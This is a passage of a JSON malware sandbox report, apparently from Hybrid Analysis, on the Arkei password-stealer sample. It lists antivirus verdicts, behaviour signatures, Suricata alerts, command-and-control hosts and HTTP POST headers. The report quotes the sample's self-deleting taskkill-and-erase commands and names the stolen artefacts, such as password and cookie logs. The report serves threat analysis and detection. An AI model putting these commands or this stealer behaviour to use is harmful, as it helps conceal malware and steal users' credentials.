Heal","success":true,"verdict":"malicious","threat_name":"Trojan.Sigmal.S2239677","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Mal/Autorun-BH","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"symantec":{"name":"Symantec","success":true,"verdict":"malicious","threat_name":"Heur.AdvML.B","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"TrojanS.97896989","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"TrojanS.97896989","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Stealer.BJMY","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"BScope.TrojanPSW.Tepfer","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xvirusantimalware":{"name":"Xvirus Anti-Malware","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Zusy.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 48233-4481-004A74B1\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00014119-00002920-57884-33-00FA18D8\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00014119-00002920-57884-25-00F9B973\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00014300-00004300-55190-25-0100B973\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00014300-00004300-55190-33-010118D8","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetLocalTime@KERNEL32.DLL at 00014119-00002920-57884-110-00F99EF0\n GetLocalTime@KERNEL32.DLL at 00014300-00004300-55190-110-01009EF0","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"EnumSystemLocalesA@KERNEL32.DLL at 00014119-00002920-57884-240-00FA952E\n GetUserDefaultLCID@KERNEL32.DLL at 00014119-00002920-57884-237-00FA95D1\n EnumSystemLocalesA@KERNEL32.DLL at 00014119-00002920-57884-238-00FA9595\n GetUserDefaultLCID@KERNEL32.DLL at 00014300-00004300-55190-237-010195D1\n EnumSystemLocalesA@KERNEL32.DLL at 00014300-00004300-55190-238-01019595\n EnumSystemLocalesA@KERNEL32.DLL at 00014300-00004300-55190-240-0101952E","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"informative","category":"Environment Awareness","name":"Possibly tries to detect the presence of a debugger","description":"GetProcessHeap@KERNEL32.DLL at 00014119-00002920-57884-598-00FAFB20\n GetProcessHeap@KERNEL32.DLL at 00014300-00004300-55190-598-0101FB20","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"6087529549.exe\" queries volume information of \"%ALLUSERSPROFILE%\\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\\files\\cookies_Mozilla Firefox_fg6ygf16.default.log\" at 00014300-00004300-00000046-63374501\n \"6087529549.exe\" queries volume information of \"%ALLUSERSPROFILE%\\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\\files\\Desktop.zip\" at 00014300-00004300-00000046-63383082\n \"6087529549.exe\" queries volume information of \"%ALLUSERSPROFILE%\\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\\files\\information.log\" at 00014300-00004300-00000046-63391114\n \"6087529549.exe\" queries volume information of \"%ALLUSERSPROFILE%\\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\\files\\passwords.log\" at 00014300-00004300-00000046-63399483\n \"6087529549.exe\" queries volume information of \"%ALLUSERSPROFILE%\\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\\files\\screenshot.bmp\" at 00014300-00004300-00000046-63407739","origin":"API Call","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\6087529549.EXE\")\n \"\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\6087529549.EXE\")\n \"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")\n \"\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")\n \"6087529549.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")\n \"6087529549.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"ip-api.com\"\n \"adminpc.ru\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"185.194.141.58:80\"\n \"193.111.63.97:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"D:\\Arkei\\Release\\Arkei.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"UPDATE \"%w\".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;\"\n \"UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');\"\n \"UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;\"\n \"INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);\"","origin":"File/Memory","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/c taskkill /im Arkei.exe /f & erase C:\\Arkei.exe & exit\" on 2018-4-3.00:04:10.216\n \"/c taskkill /im 6087529549.exe /f & erase %ALLUSERSPROFILE%\\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\\6087529549.exe & exit\" on 2018-4-3.00:04:54.357","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"6087529549.exe\" (UID: 00014300-00004300)\n Spawned process \"cmd.exe\" with commandline \"/c taskkill /im Arkei.exe /f & erase C:\\Arkei.exe & exit\" (UID: 00014333-00002064)\n Spawned process \"taskkill.exe\" with commandline \"taskkill /im Arkei.exe /f\" (UID: 00014362-00004056)\n Spawned process \"cmd.exe\" with commandline \"/c taskkill /im 6087529549.exe /f & erase %ALLUSERSPROFILE%\\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\\6087529549.exe & exit\" (UID: 00014606-00001452)\n Spawned process \"taskkill.exe\" with commandline \"taskkill /im 6087529549.exe /f\" (UID: 00014613-00003500)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"informative","category":"Installation/Persistance","name":"Contains ability to lookup the windows account name","description":"$25","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-28","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"Desktop.zip\" has type \"Zip archive data (empty)\"\n \"passwords.log\" has type \"ASCII text with CRLF line terminators\"\n \"62976927916b06490d-f9fd-424c-8b6d-83edc4369e89.zip\" has type \"Zip archive data at least v2.0 to extract\"\n \"c\" has type \"SQLite 3.x database user version 8\"\n \"cookies_Mozilla Firefox_fg6ygf16.default.log\" has type \"ASCII text with CRLF line terminators\"\n \"screenshot.bmp\" has type \"PC bitmap Windows 3.x format 1018 x 606 x 32\"\n \"information.log\" has type \"ASCII text with CRLF line terminators\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$26","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://ip-api.com/line/?fields=query\"\n Pattern match: \"http://ip-api.com/line/?fields=countryCode\"\n Heuristic match: \"ip-api.com\"\n Heuristic match: \"adminpc.ru\"\n Pattern match: \"t.me/arsenkooo135\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"6087529549.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"\" opened \"\\Device\\KsecDD\"\n \"6087529549.exe\" opened \"\\Device\\KsecDD\"\n \"taskkill.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"Arkei.exe.bin\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Found a cryptographic related string","description":"\"DES\" (Indicator: \"des\"; File: \"Arkei.exe.bin\")","origin":"File/Memory","relevance":10,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to implement anti-virtualization techniques","description":"\"Videocard: VirtualBox Graphics Adapter\" (Indicator: \"virtualbox\")","origin":"File/Memory","relevance":4,"id":"string-1","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"6087529549.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"$27","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"suspicious","category":"General","name":"Reads configuration files","description":"\"\" read file \"%USERPROFILE%\\Desktop\\desktop.ini\"\n \"6087529549.exe\" read file \"%USERPROFILE%\\Desktop\\desktop.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Contains ability to download files from the internet","description":"InternetReadFile@WININET.DLL at 00014119-00002920-57884-170-00F0C230\n InternetReadFile@WININET.DLL at 00014300-00004300-55190-170-00F7C230","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-17","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Creates new processes","description":"\"\" is creating a new process (Name: \"%WINDIR%\\SysWOW64\\cmd.exe\", Handle: 504)\n \"\" is creating a new process (Name: \"\\REGISTRY\\MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\0\", Handle: 556)\n \"6087529549.exe\" is creating a new process (Name: \"%WINDIR%\\SysWOW64\\cmd.exe\", Handle: 860)\n \"cmd.exe\" is creating a new process (Name: \"%WINDIR%\\SysWOW64\\taskkill.exe\", Handle: 124)","origin":"API Call","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Monitors specific registry key for changes","description":"\"6087529549.exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\Protocol_Catalog9\" (Filter: 1; Subtree: 3232256)\n \"6087529549.exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\NameSpace_Catalog5\" (Filter: 1; Subtree: 3232256)\n \"taskkill.exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\Control\\NetworkProvider\\HwOrder\" (Filter: 4; Subtree: 2481408)\n \"taskkill.exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\Control\\NetworkProvider\\HwOrder\" (Filter: 4; Subtree: 974080)","origin":"API Call","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"suspicious","category":"Network Related","name":"Contacts Random Domain Names","description":"\"adminpc.ru\" seems to be random","origin":"Network Traffic","relevance":5,"id":"network-6","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Heuristic match: \"HTTP/1.1 200 OKAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Date: Mon, 02 Apr 2018 22:04:14 GMTContent-Length: 14193.70.47.200\"\n Heuristic match: \"IP: 193.70.47.200\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"\"WmiPrvSE.exe\" (Indicator: \"wmiprvse.exe\")","origin":"File/Memory","relevance":10,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$28","origin":"API Call","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$29","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"$2a","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"6087529549.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegCloseKey\n RegOpenKeyExW\n GetUserNameW\n GetFileAttributesA\n GetFileAttributesW\n GetTempPathA\n GetTempPathW\n OutputDebugStringW\n OutputDebugStringA\n GetModuleFileNameW\n CopyFileA\n GetModuleFileNameA\n UnhandledExceptionFilter\n CreateThread\n ExitThread\n TerminateProcess\n CreateToolhelp32Snapshot\n LoadLibraryW\n GetVersionExW\n GetTickCount\n GetVersionExA\n LoadLibraryA\n GetFileSize\n OpenProcess\n CreateDirectoryA\n DeleteFileA\n GetStartupInfoW\n DeleteFileW\n CreateFileMappingW\n FindNextFileW\n CreateFileMappingA\n FindFirstFileW\n GetProcAddress\n CreateFileW\n IsDebuggerPresent\n CreateFileA\n Process32NextW\n GetCommandLineA\n Process32FirstW\n MapViewOfFile\n GetModuleHandleW\n GetFileAttributesExW\n WriteFile\n Sleep\n GetModuleFileNameExW\n ShellExecuteW\n ShellExecuteA\n HttpQueryInfoW\n InternetConnectW\n InternetReadFile\n InternetCloseHandle\n HttpSendRequestW\n InternetOpenUrlW\n InternetOpenW","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$2b","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"\" (UID: 00014119-00002920)\n Spawned process \"6087529549.exe\" (UID: 00014300-00004300)\n Spawned process \"cmd.exe\" with commandline \"/c taskkill /im Arkei.exe /f & erase C:\\Arkei.exe & exit\" (UID: 00014333-00002064)\n Spawned process \"taskkill.exe\" with commandline \"taskkill /im Arkei.exe /f\" (UID: 00014362-00004056)\n Spawned process \"cmd.exe\" with commandline \"/c taskkill /im 6087529549.exe /f & erase %ALLUSERSPROFILE%\\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\\6087529549.exe & exit\" (UID: 00014606-00001452)\n Spawned process \"taskkill.exe\" with commandline \"taskkill /im 6087529549.exe /f\" (UID: 00014613-00003500)","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a resource fork (ADS) file (often used to hide data)","description":"\"\" created file \"%ALLUSERSPROFILE%\\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\\6087529549.exe:Zone.Identifier\"","origin":"API Call","relevance":8,"id":"api-19","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"malicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET POLICY External IP Lookup ip-api.com\" (SID: 2022082, Rev: 3, Severity: 1) categorized as \"Potential Corporate Privacy Violation\"\n Detected alert \"ET TROJAN Arkei Stealer Config Download Request\" (SID: 2025430, Rev: 2, Severity: 1) categorized as \"A Network Trojan was detected\" (Backdoor, ransomware, trojans, etc.)\n Detected alert \"ET TROJAN Arkei Stealer IP Lookup\" (SID: 2025429, Rev: 2, Severity: 1) categorized as \"A Network Trojan was detected\" (Backdoor, ransomware, trojans, etc.)\n Detected alert \"ET TROJAN Arkei Stealer Client Data Upload\" (SID: 2025431, Rev: 2, Severity: 1) categorized as \"A Network Trojan was detected\" (Backdoor, ransomware, trojans, etc.)","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"44/66 Antivirus vendors marked sample as malicious (66% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"44/66 Antivirus vendors marked sample as malicious (66% detection rate)\n 1/15 Antivirus vendors marked sample as malicious (6% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"42/76 Antivirus vendors marked spawned process \"6087529549.exe\" (PID: 4300) as malicious (classified as \"Gen:Variant.Zusy\" with 55% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"\"\" wrote 32 bytes to a remote process \"%ALLUSERSPROFILE%\\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\\6087529549.exe\" (Handle: 504)\n \"\" wrote 52 bytes to a remote process \"%ALLUSERSPROFILE%\\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\\6087529549.exe\" (Handle: 504)\n \"\" wrote 4 bytes to a remote process \"%ALLUSERSPROFILE%\\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\\6087529549.exe\" (Handle: 504)\n \"\" wrote 8 bytes to a remote process \"%ALLUSERSPROFILE%\\Arkei-6b06490d-f9fd-424c-8b6d-83edc4369e89\\6087529549.exe\" (Handle: 504)\n \"cmd.exe\" wrote 32 bytes to a remote process \"%WINDIR%\\SysWOW64\\taskkill.exe\" (Handle: 124)\n \"cmd.exe\" wrote 52 bytes to a remote process \"%WINDIR%\\SysWOW64\\taskkill.exe\" (Handle: 124)\n \"cmd.exe\" wrote 4 bytes to a remote process \"%WINDIR%\\SysWOW64\\taskkill.exe\" (Handle: 124)\n \"cmd.exe\" wrote 8 bytes to a remote process \"%WINDIR%\\SysWOW64\\taskkill.exe\" (Handle: 124)","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$2c","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"malicious","category":"Network Related","name":"Tries to identify its external IP address","description":"\"ip-api.com\"","origin":"Network Traffic","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"level":"malicious","category":"Unusual Characteristics","name":"References suspicious system modules","description":"$2d","origin":"File/Memory","relevance":5,"id":"string-24","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Tries to identify its external IP address"}],"sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"POSTs files to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Tries to identify its external IP address"},{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]}]},"activity":{"stats":{"process_count":6,"spawned_processes_count":6,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":4,"imported_dlls_count":85,"dropped_files_count":0,"extracted_files_count":7,"files_written_count":30,"files_deleted_count":0,"registry_keys_created_count":6,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":6,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":2,"contacted_urls_count":4,"http_requests_count":4},"behavior_tags":["azorult","banker","banload","bitcoinminer","coinminer","commodity","criminal","floxif","miner"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Sample not shared"],"sandbox_reports":[{"id":"5ac2a8057ca3e141ac141886","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Zusy","contacted_countries":["DEU","UKR"],"submit_name":"Arkei.exe","analysis_start_time":"2018-04-02T23:00:01+00:00","indicators_count":{"informative":20,"suspicious":24,"malicious":12},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample not shared"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"185.194.141.58","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"address":"193.111.63.97","port":80,"protocol":"TCP","country":"Ukraine","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]}],"dns_resolutions":[{"domain":"ip-api.com","address":"185.194.141.58","ttl":179,"country":"Germany","registrar_name":"Internet Domain Service BS Corp.","registrar_organization":"Whois Privacy Corp.","registrar_creation_date":"2012-04-24T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"domain":"adminpc.ru","address":"193.111.63.97","ttl":1199,"country":"Ukraine","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]}],"http_requests":[{"host":"ip-api.com","host_ip":"185.194.141.58:80","url":"/line/?fields=query","method":"POST","header":"POST /line/?fields=query HTTP/1.1\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\nContent-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A\nContent-Length: 25\nUser-Agent: Arkei/8.0\nHost: ip-api.com\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"5ac2a8057ca3e141ac141886"}]},{"host":"ip-api.com","host_ip":"185.194.141.58:80","url":"/line/?fields=countryCode","method":"POST","header":"POST /line/?fields=countryCode HTTP/1.1\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\nContent-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A\nContent-Length: 25\nUser-Agent: Arkei/8.0\nHost: ip-api.com\nConnection: Keep-Alive\nCache-Control: 